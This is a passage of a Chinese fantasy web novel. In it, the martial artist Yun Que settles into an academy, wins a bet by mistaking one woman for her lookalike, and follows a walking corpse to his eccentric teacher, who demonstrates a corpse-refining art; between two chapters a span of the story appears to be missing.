木安顶着两个黑眼圈,一副疲惫不堪的样子。 一见云缺手里的人头,木安吓了一跳。 “豆腐人头,周先生昨晚做的,我带回来一个当早餐。”云缺解释道。 木安放心下来,道: “周先生经常鼓捣些奇奇怪怪的食物,时而有学子吃完闹肚子,云师弟可要小心点。” “没事,我胃口好。”云缺笑了笑,随口道:“木师兄起得挺早啊。” “哎,我一夜没睡,墨老吩咐我提炼些材料,忙活到现在才弄完,困死我了。”木安唉声叹气的道。 “那你赶紧去睡一会儿,我去热热吃的……”云缺说完忽然脚步一顿,奇怪道:“不对啊,我昨晚回来的时候,你已经睡了啊,我们住的同一间屋子。” “不可能!我昨晚根本没睡啊。”木安也诧异道。 说完,两人同时沉默。 空荡荡的大厅里,气氛变得诡谲起来。 第86章 迫害妄想症 云缺最先打破沉默。“咱们西楼,确定只有一位先生,两个学子?”“没错,加起来就三个人。”木安道。“可能我看错了,木师兄去休息吧。”云缺道。“一夜没睡,我实在太困了,云师弟自己去事务堂领取学子服即可,离我们百花殿不远,打听一下便能找到。”木安打着哈欠去补觉了。大厅里只剩下云缺一人。整座西楼静悄悄,再无声音。云缺的眉峰微微蹙起。这座西楼,有古怪!自己有可能认错人,但不会看错,昨晚另一张木床上,绝对躺着个人!而且身形与木安相仿,并非骨瘦如柴的墨老。西楼一共就三个活人。那么昨晚出现的第四个人,又是谁呢?啃完了豆腐人头,云缺始终毫无头绪。昨夜里的绝非鬼物,否则以云缺的敏锐足以察觉。既然不是鬼,那么肯定是人,而且是一个西楼里不该存在的人。云缺不再多想,起身前往事务堂。天祈学宫范围太大,云缺接连打听了三次,才找到位置。核对身份后,领取到属于自己的学子令牌与三套学子服。学子服的样式是一样的,类似道袍,做工考究材料极好,均为白色,前心处绣着各殿的标记。百花殿的学子服,绣着九朵小花,围拢成圈,看起来清爽漂亮。就是不太适合武夫,更像儒生穿的衣袍。反正来求学,又不与人动手,穿什么云缺不在乎。云缺最主要的目的,是冲击七品炼神境。可百花殿怎么看都不太靠谱。突破炼神境十分麻烦。需要冲神脉,破神藏,凝神骨,每一步都不能有半点差池。云缺现在急需的,是冲击七品炼神境的经验。没有强者的经验,他只能摸石头过河,真要掉河里,淹死不至于,伤及了经脉神魂,得不偿失。“得去演武殿瞧瞧,看看能不能旁听。”将学子服收好后,云缺想着找个人打听打听演武殿的方位。正巧走到一处月亮门,一人从对面大步来。云缺低头想着心事,差点与对方撞上。一抬头,云缺与对方同时张大了嘴巴,两人的眼里是同样的惊诧之色。“你怎么在这!”两人异口同声。与云缺走个对面的,是个年轻人,扫把眉,吊眼梢,穿着一身轻甲,护心镜擦拭得一尘不染。正是梅钱!梅钱与云缺的惊讶一样,都奇怪着对方怎么会出现在学宫。云缺狐疑的打量对方,道:“你不在百玉城守城门,难道来皇城办案了?”“办什么案!这里是学宫哪有案子,我自然是求学而来,昨天通过的考核,我已经是天祈学宫的学子了!”梅钱瞥着云缺一身狱卒行头,调侃道:“行啊,看来护送郡主有功,都从仵作混成了狱卒,果然要步步高升啊。”“狗放屁都比你说话好听,仵作和狱卒有区别么。”云缺没好气的道。“区别大了,藏石镇的仵作连狗都不如,天祈城的狱卒至少比狗强得多。”梅钱挑了挑难看的扫把眉,嘲笑道:“是不是后悔了?早跟你说我们这种人高攀不上人家郡主,你还不信,这下好了,一个狱卒就把你打发了,你来学宫做什么,不认得路的话,我可以指点你一二嘛。”“我来学宫当然是查你的案子了,梅大人,你以前办的那些龌龊事,贪墨得那些黑心钱,已经被揭发,天牢里给你准备好了牢房,这不派我来拿你归案呢。”云缺冷笑道。“胡说!缉拿我也得百玉城来人才对,皇城天牢跟我有什么关系!”梅钱瞪眼道。“当然有关系,你在皇城落的网,自然得押入天牢。”云缺煞有介事的道。“我刚来皇城才几天,百玉城里的事谁能捅到这边来!”梅钱不信的道。“要想人不知除非己莫为,梅大人贪赃枉法,罪不可赦,我这种良民实在看不过去,不揭发你,我良心不安呐。”云缺道。“你丫的也有良心?咱们俩的良心早喂狗了!”梅钱毫不在乎的道。说别的,他可能会害怕,但云缺说揭发他,那他肯定不信。俩人都坏到流油,早绑到一条破船上了,哪有窝里反的。梅钱瞄了眼云缺手里的学子服,一把夺了过来,故作惊讶道:“呦!百花殿的学子服,行啊云缺,你也成学宫学子了!百花殿好哇,能学厨子能学仵作还能学歌舞,最适合你了。”云缺抢回衣服,道:“你的学子服呢,到哪都穿这套盔甲,泡澡穿盔甲,吃酒穿盔甲,到了学宫你还穿,你这身甲里是不是藏了什么见不得人的东西?”梅钱的神色瞬间变幻了一下,道:“我的学子服在盔甲里面呢,你瞧。”说着掀开衣服下摆的甲叶子,果然里面是学子服。“你是不是有迫害妄想症?总觉得有人要害你?成天穿着盔甲,你也不嫌硌得慌。”云缺鄙夷道。“习惯了,我愿意!”梅钱一脸不屑,忽然想起昨天没看到云缺,道:“你昨天在哪考的,我怎么没见到你。”“我来晚了,只剩最后的百花殿,你是演武殿的吧,带我去演武殿瞧瞧。”云缺没说天牢的事。穿一身狱卒衣服都被人家嘲讽,这要让梅钱知道自己护送完郡主非但没得到好处,反而被关进天牢,还不得笑掉大牙。梅钱带路,两人赶往演武殿,一路上少不得互相羞辱谩骂。他们俩在百玉城就这模样,到了学宫还是同样的习惯。云缺和梅钱自己觉得没什么,可落在路过的学子眼里,这两人就成了学宫里的奇观。一个穿盔甲的卫兵,一个天牢狱卒,两人一边走一边对骂,不知道的,还以为禁军和刑部出了什么仇怨,以至于双方见面就开掐。“对了,借我点银子,我手里现在没钱。”云缺道。“少来,你能没钱?骗鬼呢!”梅钱道。“包裹落在客栈了,没钱吃饭。”云缺道。他的钱其实都在天牢里压着呢。“去客栈取呗,学宫又不是大牢。”梅钱狐疑道。“我不想出去,给我拿点银子,记账。”云缺道。“不借,我手头紧。”梅钱道。“嘿你个孙子!当初你找我借钱,我可借你了啊。”云缺道。“就因为我借了你的钱,发现还你钱的时候太费劲了,所以发誓这辈子我的钱谁也不借。”梅钱道。“你狠!咱们俩的交情一刀两断。”云缺道。“趁早断,咱们本来就没交情,以后在学宫千万别说我认得你。”梅钱道。“怎么,认得我很丢人么。”云缺道。“学宫那么多女学子,你能不看人家沐浴吗,到时候被抓住游街,我可丢不起那人。”梅钱撇嘴道。“说得就像你不想看似的。”云缺鄙夷道。“我当然不看!我对女人没兴趣。”梅钱傲气道。云缺神色古怪的看了对方一眼,警告道:“你以后离我远点。”“想什么呢!我对男人更没兴趣!我只对钱感兴趣!”梅钱怒道。笑骂间,两人到了演武殿区域。不同于百花殿的学楼,演武殿是一座高大的殿宇,金碧辉煌犹如皇宫,学子居住区域在殿宇两侧。“演武殿一般晚上才授课,白天多为学子们互相切磋,你要是想来听课,我劝你消了这个打算,各殿学子不可旁听其他学殿的授课,这是学宫规矩,可以申请调换,但需要一年以后才能真正调转过来。”梅钱道。“还有这种规矩?”云缺大为失望。想一想也有道理。如果不设置年限,谁都能随意乱串听课,那学宫岂不乱套了。“你在百花殿学一年歌舞吧,没准能从武夫变成舞夫哈哈!我走了,演武殿一堆修炼心得,看都看不过来呦。”梅钱得意洋洋的道。“喂!给我留点银子,我真没钱吃饭了!”云缺道。“学宫后边种了不少地瓜,我看过了,一大片呢,你饿的话就去挖点回去烤,肯定饿不死。”梅钱说完扬长而去。“你个一毛不拔的铁公鸡!”云缺骂了句,无可奈何。梅钱这家伙是长在钱眼儿里的,让他拿出一个铜板,跟要他命差不多。虽然无奈,云缺反而变得轻松起来。梅钱既然到了学宫,以后的学宫生涯肯定不会沉闷,至少有半个朋友能打趣儿。不过学宫规矩,让云缺一时头疼。最快也要一年之后才能转到演武殿,相当于耽搁一年的修炼时间。如果八品炼骨境没有圆满还好说,大不了这一年苦修。可云缺已然将八品修至圆满,即将踏入七品炼神境。“得想个办法……”记住演武殿的位置后,云缺返回百花殿。回来的时候正好是中午。饭堂内人满为患。远远闻着饭菜香气,肚子立刻不争气的抗议起来。饿!“一顿饭憋倒英雄汉……学宫里也没个野味啥的,有点妖也行啊。”云缺无奈的发现,没有野兽没有妖物的学问圣地,有时候还不如荒郊野岭。至少荒郊野岭里不缺肉吃。走进饭堂,云缺寻摸着屠苏和他的伴当满申,打算看看那位大汗今天是不是也没胃口。正找人呢,目光忽然落到一名女学子的身上。这女学子独自坐在角落,有一种绝世独立的气质,孤而不独,美而不艳,周围所有学子在她的容貌之下都变得暗淡无光。女子生得一张绝美的脸庞,眉如远黛,眸若秋水,如一只灵狐,秀美中带着一丝别样的妩媚。整个饭堂内,大多数男学子的目光,都时不时的在女子身上流连忘返,有人看得痴了甚至一时忘记了吃饭。云缺也盯住了这女学子。不同于其他人的爱慕,云缺的眼里全是愤怒。几步来到近前,云缺大马金刀坐在女学子对面,把手一伸,寒声道:“还钱!” 第87章 青楼打折 还钱之说,自然得先有借。 对面的女学子闻言秀眉微蹙,看了眼云缺,并未说话,目光冷漠。 云缺可不是故意找茬要钱,而是认定对方欠自己银子。 天牢里捏成银钉的那些银子,少说有五两。 对面的女学子,正是天牢里的阿梅! 看到阿梅,云缺的火气就不打一处来。 爬进耳朵的那只虫子,他可没忘呢,最可恨的是,阿梅始终没把那根银钉还回来。 五两银子,放在平常云缺不在乎,可现在身无分文,吃饭都成问题。 见对方无动于衷,云缺冷笑一声,道: “可以啊,逃得比我都快,欠钱不说还要杀人灭口,果然最毒妇人心,你这女人够冷血的。” 对面的女学子脸色发冷,目光充满冷冽与陌生,放下筷子盯着云缺,仍旧没说话。 “欠我的五两银子,你不想还了是吧,别以为你是女人我就不敢动手。”云缺继续冷声道。 女学子深吸一口气,看得出在压制着极大的愤怒,还是没开口。 云缺啪的一拍桌子,指着对方的鼻子骂道: “银子你赖不掉,欠钱不还我会扒了你的皮!虫子的事还没找你算账呢!” 拍桌子的声音,引起四周一众学子的目光,人们看到云缺和那女学子后,很多人的脸色变得古怪起来。 对面的女学子忍无可忍,豁然起身,冷声道: “你有病!” 云缺呵了一声,道: “废话!你往我脑子里塞虫子,我能不病才怪了!” 云缺现在没出刀,已经是给学宫面子了。 换成其他地方,阿梅的脑袋还在不在都两说。 女学子一张俏脸变得惨白如纸,两只手紧紧捏着,眼神好似能杀人似的,狠狠瞪了云缺一眼,转身离开,饭也没吃。 “狐狸精,早晚跟你算账。” 云缺骂了句,见对方打的饭菜还没来得及吃,抓过来闷头大吃。 吃着吃着,云缺发现自己周围站满了人。 全是男学子,足有二十多个。 这些人的表情很奇怪,有的愤怒,有的羡慕,有的佩服,有的肉疼。 没等云缺询问有什么事,其中一人先将一个银锭扔在桌上。 哐当一声,足有二十两! 云缺正奇怪呢,其他人也纷纷扔钱。 有的扔银锭,有的扔银票,其中最大面值的一张居然有二百两! 不大会儿,云缺桌上堆满了银子,差不多一千两。 扔完钱,这些男学子纷纷离开,大多带着懊恼唏嘘之色。 最后一个年轻学子离开前,朝着云缺挑起大拇指,道: “一个字,服!” 等这帮人走后,云缺莫名其妙。 难道学宫里有钱人太多,看自己吃不起饭,都来接济? 不对呀! 就算自己当乞丐,也要不来这么多钱。 这是一千两银子! 又不是一千个铜板! 如果学宫里随便能赚到这么多,整个晋国的乞丐怕不得全都集中到学宫门口,一辈子不愁吃喝了。 正疑惑着,一个面貌老成的学子坐了过来。 说是老成,其实就是显老,应该不到三十,但看起来足有四十多岁。 这人神态温和,拿出个厚厚的小本子,道: “恭喜师弟,我来对照一下赌约,这是寒师兄的一百两银票,这是吴师弟的二十两纹银……” 这人将桌上的银子与册子上的记录一一对照,很快点头道:“总共九百七十两,一分不差,都在这里了,下注者二十六人,现有二十五人履约。” 云缺听得愈发糊涂。 “这位师兄,你说的,是什么赌约?” “你不知道?”对方比云缺还诧异。 “当然不知道,我昨天才来学宫。”云缺道。 “原来是新入学的师弟啊,师弟运气真好,一来就能让舞仙子开口。” 云缺更糊涂了,道:“师兄能否说说,这钱和赌约到底怎么回事,谁又是舞仙子?” “误打误撞居然也能天降横财,师弟的财运实在惊人呐!我叫房石,百花殿学子,家里是做小买卖的,我在学宫里售卖一些杂货,记录些赌约之类,赚个饭钱。” 房石容貌普普通通,天生一张笑脸,眯起眼睛显得十分和蔼。 房石很有耐心,将赌注的来龙去脉一一解说。 很快云缺恍然大悟。 舞仙子,指的就是刚才的阿梅。 赌约,是百花殿一些男学子自发而来,赌谁能先让舞仙子先开口说话。 据房石所言,舞仙子入学宫以来,从不与男人说话,犹如冰山美人,由于样貌太美,舞姿又无比迷人,被男学子们冠以仙子之称。 云缺刚才虽然大骂一顿,结果让舞仙子说出一句‘你有病’。 于是云缺成了唯一的赢家。 按照赌约,谁能先让舞仙子开口对自己说话,哪怕只有一个滚字,也算赢。 房石解释完之后,感慨道: “师弟有所不知,这几年,搭讪舞仙子的男学子数不胜数,无一例外全部铩羽而归,别说让舞仙子开口说话,哪怕人家哼一声,都能让那群爱慕者连着做几天的美梦。” 了解赌约真相后,云缺反而更加不解。 “等等!房师兄刚才说,这几年?难道那舞仙子来学宫很多年了?她不是昨天来的么?”云缺道。 “师弟真会开玩笑,舞仙子在学宫至少已经三年了。”房石微笑道。 “三年……” 云缺沉默了一下,追问道:“最近那位舞仙子一直在学宫?她有没有被关进大牢?” “怎么可能关进大牢,舞仙子天天都来饭堂的,不瞒你说,我也是舞仙子的爱慕者之一,每天能看到舞仙子几眼,对我们来说真乃一件幸事啊,窈窕淑女君子好逑嘛。” 房石大大方方的说完,发现对面的云缺脸色变得有点奇怪。 云缺到现在才弄清楚,原来自己刚才认错人了! 刚才的舞仙子,不是阿梅! 云缺的心里此刻十分震撼。 因为两个人,长得实在太像,简直一模一样! 以云缺的眼力,不存在认错人的说法,除非两个人的外貌完全一致。 恰巧,天牢里的阿梅与学宫里的舞仙子,就像同一个模子刻出来的一样。 没有丝毫不同! 云缺心头微动,想到了一个可能。 学宫里的舞仙子,与天牢里的阿梅,是孪生姐妹! “骂错人了……” 云缺嘀咕了一句,不过骂错也有骂错的好处,至少得了九百多两银子。 “有件事需要与师弟讲清,我负责记录这场赌约,每年要收十两银子的记账费用,如今正好三年,你赢的钱里面,我要收走三十两。” 房石说着拿出了三十两银子。 云缺自然理解。 人家记录了三年,拿点好处理所应当。 三十两的记账费,可不便宜。 但对比近千两的赌注,就显得微不足道了。 有了银子,云缺心情不错,至少最近在学宫里吃喝不愁。 房石很贴心的帮忙整理好银票与银两,问了问云缺的名号后,建议道: “云师弟一次赢得这么多银两,若觉得不易存放或者想多赚些钱的话,可以存在我这里,每个月我会给你一分利当做利息,按照一百两计算,下个月你会得到一百零一两银子,一千两的话,每个月会多得十两。” 房石说完,云缺立刻警惕起来。 “房师兄家里不是做买卖的么,怎么开了善堂,银子放你这还能钱生钱呢。”云缺道。 “商贾注定与善无缘,不瞒云师弟,你不仅可以在我这里存钱,还能借钱,存钱生利,借钱则需要还利。”房石如实道。 云缺点点头,原来是钱庄的手段。 “在房师兄这借钱,每月要多还几分利?”云缺道。 “不多,三分利,不过拖延一月未还,三分利便会算到总账里面。”房石微笑道。 云缺听得都想夸赞两句,这位是个天生的买卖人呐。 “利滚利,不错,好买卖。” 云缺质疑道:“不知房师兄如何担保呢,你若有个三长两短,找你借钱的肯定高兴,不用还钱了,但找你存钱的可倒了霉,银子打了水漂。” “这一点云师弟无需担忧,即便我死了,我身上的账也会有人继续承担,存钱与借钱一方均不会有影响。” 房石笑着指了指自己的鼻子,道:“我的姓氏,便是最佳保障。” 云缺不解,道:“房师兄此言何意?” “我家是开商行的,房家商行还算有名,不仅在大晋设有钱庄、酒楼、当铺、客栈,在邵武国,在宁萧国,乃至云州霸主大秦,都有我们房家商行的钱庄,所以钱这方面,我姓的房字,就是金字招牌。”房石笑吟吟的道。 云缺听完古怪的看了对方一眼。 你之前管这叫小买卖? 这都不叫家里有矿了,这叫富可敌国还差不多! 重新打量了一番对面的房石。 除了显老,看起来比旁人稳重些之外,实在没有任何出奇的地方。 手上没扳指,也没挂玉佩,一双布鞋,看起来普普通通,跟个穷书生差不多。 谁能想到这么个模样普通,衣着普通,连说话都和和气气的年轻人,居然家里的钱庄遍布诸国! 连续记录赌约三年,从而赚取三十两银子,这种举动,实在不该是房石这种豪门子弟所为。 然而云缺很清楚一点。 越是不放过任何小钱的商贾,越是真正的深藏不露。 “云师弟今后若需要武器丹药各类材料之类,都可以来找我,我卖的东西,价钱可能会贵一点,但品质绝对有保障。” 房石说着朝云缺挤了挤眼睛,道:“想要品尝美味佳肴也没问题,天祈城里有我家两座酒楼,外加一座青楼,云师弟若去了,提我即可,给你打个九折。” 青楼都能打折,云缺还是第一次听说。 房石的稳重和健谈,给云缺留下深刻的印象。 不过这位家境巨富的房师兄,在得知云缺是西楼学子后,之前的稳重消失了一瞬。 “云师弟居然是西楼学子!” 房石的眼睛不大,此刻瞪大了起来,脸上充满震惊。 “是啊,有什么问题吗?”云缺道。 “没问题,西楼就是……就是人少了些。” 房石很快恢复正常,目光中却多了一份敬佩之色。 敢去西楼求学的学子,在百花殿是最让人佩服的。 原因很简单。 西楼学子,容易人间蒸发! 第88章 诈尸 与房石相熟后,云缺询问起一个关键问题。 “对了房师兄,刚才你说下注的二十六人,有二十五人履约,还剩下一个是谁。” “这个……”房石的脸色变得为难起来,道:“云师弟,最后一份赌注我劝你别要了。” “最后一个下注的,该不会是房师兄你吧。”云缺道。 “当然不是,我若下注岂能赖账。”房石将小本子拿出来,让云缺看。 上面记得清清楚楚,谁在哪一天下的注,下了多少银子,包括时辰都有。 其他付了钱的名字,都被房石勾掉了,唯独剩下最后一个。 “殷滔?” 云缺念出最后一人的名字。 这人,云缺不认得。 但从姓氏看,应该是皇族,因为皇帝姓殷。 “誉王之子,皇帝的亲侄子。”房石压低声音道:“多一事不如少一事,不妨算了。” 房石也算好心。 找王府世子要赌账,一般人可没这种胆量,而且容易惹出是非。 但房石不知道,他对面的少年可不是什么一般人。 “三千两!” 云缺瞪起了眼睛,盯着殷滔名字后边的赌注,白纸黑字标注着三千两巨款。 房石看了看左右,低声解说道: “殷滔对舞仙子一见倾心,念念不忘,经常制造机会搭讪,结果几年下来,人家舞仙子一个字都没跟他说过,殷滔气恼之下,才在我这里下了重注,他觉得自己肯定是第一个让舞仙子开口的人,结果让你先下一城,你说,这钱他能给么。” 房石对事情看得十分透彻。 一个世子,自然不会缺钱,但绝不会咽下这口气。 如果让殷滔知道舞仙子先对别的男人开口说话,他肯定勃然大怒,若再去找他要钱,相当于火上浇油一样。 “欠债还钱,天经地义,皇帝欠钱也得还呐。” 云缺说完,朝房石要来记载着赌注的纸条。 那可是三千两! 足够云缺搏命一战了,何况只是个赌债。 别人不敢要,云缺可不在乎。 房石摇了摇头,叹气道: “云师弟多考虑考虑,莫要冲动。” 说完告辞离开。 云缺当然不会冲动。 要账这种事,梅钱最拿手了,分他一百两,那家伙肯定能想出一百种手段来要账。 不过前提是, 不能把殷滔王府世子的身份告诉梅钱,否则梅钱肯定不会帮忙。 “怪不得我喽梅校尉,谁让你这孙子不借我钱呢。” 云缺此刻觉得神清气爽,之前没从梅钱手里借来钱的气闷消散一空。 在学宫里有朋友的感觉,真好! 有了钱,自然得大吃一顿。 刚才那位舞仙子要的饭菜太少,几口就没了。 云缺吃饱后,回到西楼。 木安正好刚睡醒,迷迷糊糊的在发呆。 “木师兄,打听个人,舞仙子叫什么。”云缺道。 “南楼的舞仙子啊,叫穹舞!天穹的穹,云师弟见到舞仙子了么,她可是我们百花殿的招牌,学宫十美之一呢!” 木安一提舞仙子,也不迷糊发呆了,兴致勃勃的道:“舞仙子的舞姿堪称一绝,其他学殿的男学子经常来百花殿转悠,就等着一睹舞仙子起舞的芳姿呢!” 一听十美,云缺也来了兴趣,道:“看来学宫里美人不少啊。” “那当然了!天祈学宫汇聚天下间的年轻修士,美人无数!能排进学宫十美的,都是倾国倾城的人物,当中有八位是学子,唯有两位是先生。”木安如数家珍的道。 “两位先生当中,想必有一位是南楼先生齐灵珠了。”云缺道。 既然南楼先生曾经是天下第一花魁,模样肯定不会差。 “对对对!灵珠先生肯定当得上十美之一。”木安连连点头道。 “另一位女先生是谁。”云缺道。 “仙丹殿先生,薛子仪!是位温柔美人,声音软糯,听得人骨头发酥,有一次我去仙丹殿帮墨老借些材料,见过子仪先生,像一位邻家姐姐一样,美丽又善良!”木安道。 “仙丹殿啊,好像离着百花殿挺远的。”云缺道:“十美当中,谁排第一?” “十位美人,各有千秋,很难排出先后的,不过学子们私底下都公认一位,是真正的十美之首!”木安神神秘秘的道:“云师弟猜一猜,到底谁是十美之首。” “我刚来学宫,哪里猜得到,不会是灵芸郡主吧。”云缺随口一说。 以牧青瑶的模样气质地位,学宫十美,必定有她一席之位。 “猜对了!正是灵芸郡主。” 木安道:“灵芸郡主不仅人美,心灵更美,为了天下苍生四处奔波寻找灵花,不知遇过多少危险,人家在学宫里求学的时间比我们少得多,可学业却是数一数二的,如此才貌双全的美人,简直是所有男学子心目中的仙子!” 牧青瑶在学宫里被誉为十美之首,云缺并不意外。 灵芸郡主的美名,在整个大晋都家喻户晓,人又生得美若天仙,做的又是拯救苍生的寻花之举,天祈学宫十美之首,人家当之无愧。 “这么说,灵芸郡主在学宫里有不少追求者喽。”云缺道。 “何止不少!学宫的演武场里,几乎每天都有人为了灵芸郡主大打出手,就为了争个护花使者的名额,前一百早满了,谁想冲进前百,得挑战才行!”木安道。 “这么夸张?那一百人,灵芸郡主都认得?”云缺惊讶道。 “认得什么呀,人家灵芸郡主才不认得那么多闲人呢,都是那些男学子自发排列的前百名额,弄了个称号叫什么灵芸榜,能排进前百的整天沾沾自喜,也不想想人家郡主根本不知道他们是谁。” 木安酸溜溜的道,大有一种吃不到葡萄说葡萄酸的意味,看样子这位也很希望自己能上榜。 虽然没什么用,至少能跟别人吹嘘一番,咱也是灵芸榜上的人物。 云缺听得哭笑不得。 原来学宫里有这么多无聊的家伙。 “上个榜都能美半天,如果成了灵芸郡主的意中人,还不得美死。”云缺道。 “美不美死不知道,但很大概率会被打死。”木安道:“天祈学宫上万名男学子,爱慕灵芸郡主的少说有一多半,你想想看,如果谁被郡主青睐,那群爱慕者还不得发疯呀。” “这么危险啊。”云缺诧异道。 “其实不用担心,灵芸郡主那等仙子,天底下根本没有男人配得上!谁要敢娶灵芸郡主,先过了我这一关再说!”木安道。 “木师兄,人家郡主嫁娶,好像和你没关系吧。”云缺道。 “嘿嘿,我就那么一说,谁能愿意看着心中的仙子嫁人呐。”木安挠头笑道。 “世人爱戴的灵芸郡主啊,谁娶了她,可倒霉喽。”云缺感慨了一句,道:“对了,灵芸郡主最近来没来学宫。” “这个可不清楚,灵芸郡主经常出门,每年在学宫也就两三个月的时间,很少能见到的。”木安道。 云缺看了看天色尚早,打算去鸿儒殿转转,打听打听牧青瑶的消息。 牧青瑶便就学于鸿儒殿。 临走前,云缺问道: “墨老一般什么时候授课,讲不讲与武道有关的东西。” 木安脸色一苦,道:“墨老不讲课的,更不讲武道,之前只有我一个学生,墨老心情好也许会指点两句,心情不好只让我干活,现在你来了估计也和我一样。” 云缺无奈,只能放弃西楼。 跟着那位爱装死的墨老,估计什么也学不到。 只能找机会先去演武殿偷艺了。 随后云缺去了趟鸿儒殿。 鸿儒殿不愧为儒家学堂,学子们井然有序,大多温文尔雅,即便见到云缺这个其他学殿的学生,也有不少人点头示意,很有礼貌。 于是云缺走了一路,灵芸郡主没看到,脖子倒是有点酸。 一直和人家点头来着。 最后找了两个鸿儒殿的学生,打听牧青瑶的消息,得知小郡主最近并未返回学宫。 没在。 “去哪了呢?” 云缺实在想不通牧青瑶的下落。 自从抵达皇城,已经四天了,即便被长辈禁足,也该放出来了吧。 在鸿儒殿转了一大圈,回百花殿的时候,天已经快黑了。 晚饭的时候,云缺又遇到大汗屠苏和他的伴当满申。 这两位的晚饭清汤寡水的,俩人只吃一盘菜。 云缺特意看了眼,是盘麻婆豆腐,又软又辣,按理说大汗不爱吃才对,结果屠苏吃得狼吞虎咽,差点和满申抢起来。 这位大汗,应该是没钱了。 看到屠苏的模样,云缺仿佛看到了银子在向自己招手。 房石能干的买卖,云缺一样能做。 不过借钱这种事,云缺是不会单纯往外借的,但能以物换钱呐。 比如说天鹰部的两万只羊。 十两一只羊的话,看屠苏的模样,估计七两也能卖,如果再饿几天,没准还能降价。 草原蛮人与晋国是世仇,坑仇家的银子,一点负担都没有。 吃过晚饭,云缺回到西楼。 特意还选了昨晚睡的那间房。 这次旁边的木床上空荡荡,没人。 “昨天的家伙,到底是谁?” 云缺打了套拳,带着疑惑躺在床上。 这次云缺没睡得太沉。 半夜的时候,听到轻微的脚步声出现在门外。 云缺翻身下地,来到门口,将房门打开一指宽,望向外面。 不多时,一道健硕的身影经过门口。 屋子里漆黑,对方没发现云缺的目光,继续往远处走去。 云缺却看清了此人的模样。 随后云缺的神色骤然一变,眼中泛起惊疑。 刚才走过去的家伙,云缺认得。 不是学宫里的人,而是天牢里,刚刚死掉的那个囚犯九头鼠! 此刻云缺的脑子里只有一个念头。 诈尸了? 第89章 挖眼掏心 在学宫里见到与阿梅一模一样的穹舞,那是认错了人。 但这次遇到的可不是活人,而是早就死掉的九头鼠! 云缺心里暗暗嘀咕。 难不成,九头鼠也有个孪生兄弟在学宫里求学? 略一沉吟,云缺无声无息的打开门,跟在九头鼠后面。 九头鼠脚步不快,身体显得有些僵硬,一步一步往前走,走到长廊尽头,开始上楼梯。 云缺跟着对方一直到了三楼。 九头鼠站在一扇门前,不动了。 至此,云缺能确定一件事。 九头鼠不是活人,而是一具尸体! 没有任何呼吸。 行尸! 午夜时分,无人的西楼内,行尸走肉。 旁人看到如此恐怖的画面,非得吓个半死。 云缺不怕。 没胆量的话,还叫猎妖人么。 况且行尸这种东西,云缺又不是没见过。 野外偶尔会出现,不过大多走几步就倒下。 像九头鼠这种还能上楼梯的,云缺没遇到过。 嘎吱。 房门开启的声响,在寂静的西楼内格外刺耳。 九头鼠迈步走进屋中,云缺也跟了进去。 屋子里没人,空荡荡。 一张小圆桌上点着火烛,烛光昏暗。 四周贴着墙壁,排列着一些奇怪的水缸,盖着盖子,不知装着什么。 九头鼠进屋后便站立不动。 云缺转到正面,仔细看了看。 的确是尸体无疑。 瞳孔无光,一身死气。 尸体保存得十分完好,并无尸气外溢,就像刚死的一样。 正打量着九头鼠的尸体,云缺身后忽然传来一道沙哑苍老的声音。 “看什么呢。” 声音出现得极为突然,云缺毫无准备之下,吓了一跳。 回头一看,不知何时背后站着个枯瘦的老者,两眼冒光,跟个骷髅成精差不多。 正是西楼先生。 “墨老,我随便看看。” 云缺随口说着,心头泛起惊骇。 以自己敏锐的感知,竟没发现墨老什么时候出现在身后! 若对方是敌人的话,足以趁机杀掉自己。 怎么跟个活鬼一样,神出鬼没的……云缺在心里腹诽了一句。 “我的东西,不允许旁人随便看。”墨老目光幽幽的盯着云缺,沙哑道:“看了,会倒霉的。” “学生记下了,下次不看了,这就回去睡觉。”云缺说着想走。 嘎吱一响,房门自行关闭。 “既然来了,留下吧。” 墨老背着手飘到墙角,掀起一个大缸的盖子。 云缺瞄了一眼, 缸里面装着黑漆漆的水,水里泡着森森白骨! 又是尸体,又是白骨,这地方怎么看都像杀人现场。 要不是知道九头鼠早死了,云缺说什么也得逃出去,省得自己明天也成了尸体。 打开盖子后,墨老将里面的白骨从水里捞出来,扔到地上。 白骨是零散的,有骷髅头,有手骨,有腿骨,散落一地。 “天亮之前,把这副白骨拼接完整。” 墨老说着取出一团黑线,交给云缺。 黑线很奇怪,类似蛇皮编织而成,上面带着纹路。 云缺试了试力道,极其坚韧。 “用不着天亮,一会儿即可接好。” 云缺说着开始动手,用蛇皮黑线串联白骨,不到一炷香的时间,便将散乱的白骨还原。 墨老背着手始终在旁边看着,等白骨恢复,他点了点头,道: 第90章 四大天王 听闻炼尸术,云缺皱起眉。 这种术法,一听就是道家或者巫修一脉的手段,自己一介武夫,又没有法力可言,怎么修炼? 将疑问道出后,墨老怪笑了两声。 “我的炼尸术,自然与旁人不同,出自一份远古秘法,炼尸,只是第一层法门而已,这份法门无需法力或者灵力,只要你的神魂足够强大,就有修炼的机会。” “用神魂来控制尸体?”云缺大为不解,这种手段前所未闻。 “法力,来自于修为。” 墨老背着手讲解道:“道家修内丹,儒家修文胆,佛门修本心,巫门修蛊道,武夫修气血,世间各大修行之法的精髓,除了武夫之外,无外乎四个字,沟通天地!” 云缺神色凝重,静静聆听。 “武夫没有内丹,没有文胆,唯一能沟通天地的机会,便是神魂之力。” 墨老语气深沉的继续讲道:“以神魂之力驾驭的法门,天下罕见,老夫的炼尸术,正是其中之一,你若能修成,即可驾驭炼尸作战,相当于多了左膀右臂。” “学生愚钝,怕是学不来,况且我觉得武夫学了炼尸术,用处不大。”云缺如实道出了想法。 “呵呵,有没有用处,试试就知道了。” 墨老怪笑间,不见他有什么动作,可旁边九头鼠的尸体居然动了起来。 一拳轰向云缺! 云缺的反应也不慢,同样出手,与对方互轰了一拳。 九头鼠的身体倒着往后飞去,直至挪移了数丈才停住。 云缺则倒退了一步。 别看仅仅退了一步,云缺大为吃惊。 自己刚才动用的,是八品武者的力道,而九头鼠那一拳,尽管没有自己力量大,但也有九品巅峰武者的程度。 一具尸体,怎么会保留修为! “他生前是八品武者,从天牢拉出来后,本该丢到城外乱葬岗,被我用二两银子买了下来,以炼尸术祭炼过后,保留住九品修为。” 墨老略显自得的沙哑道:“这便是炼尸术的奇异之处,能保存尸体一部分修为,若有七品尸体,做成炼尸后便有八品修为,六品尸体,可保留七品修为,以此类推,怎么样,你觉得这算不算有用呢。” “我如果有一具一品武者的尸体,就能做成二品战力的炼尸?”云缺惊讶道。 照这么算下去,修炼炼尸术的人,岂不是早无敌了。 “别想得太美,一品境界,不是我们能涉及到的存在,即便有尸体,也未必能祭炼。” 